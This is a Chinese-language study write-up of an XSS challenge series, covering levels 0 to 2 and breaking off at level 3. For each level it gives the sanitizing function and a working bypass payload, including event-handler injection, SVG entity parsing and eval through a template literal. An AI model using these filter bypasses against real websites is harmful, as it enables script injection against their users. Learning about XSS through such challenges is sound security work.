一直不是很懂XSS,所以这里专门来学习一下下!记录做题的过程嗯。规则是当想办法嵌入prompt(1) 就算胜利了
第0关
什么过滤都没有,payload如下
"><script>prompt(1)</script><"
第1关—<> 过滤
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
发现是过滤了<内容>这个组合,通过实验发现可以用//注释绕过,相当于过滤了>,这里采用了payload
<article><body/onload=prompt(1)//</article>
这样也是可以的
<img src=1 onerror=prompt(1)//
第2关— (= 过滤
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
很容易看出来,是过滤了(和=,但是怎么过滤很困惑,想过会不会是什么编码解析绕过它,但是没成功。参考了大牛的答案后恍然大悟,原来存在这么神器的标签
使用SVG标签,会提前将将XML实体解析再加入标签!然后我们只需要构造<svg><script>prompt(1)</script>
或者利用了
<script>eval.call`${'prompt\x281)'}`</script>
调用了js中的eval函数,巧妙死了!
第3关—替换
function escape(input) {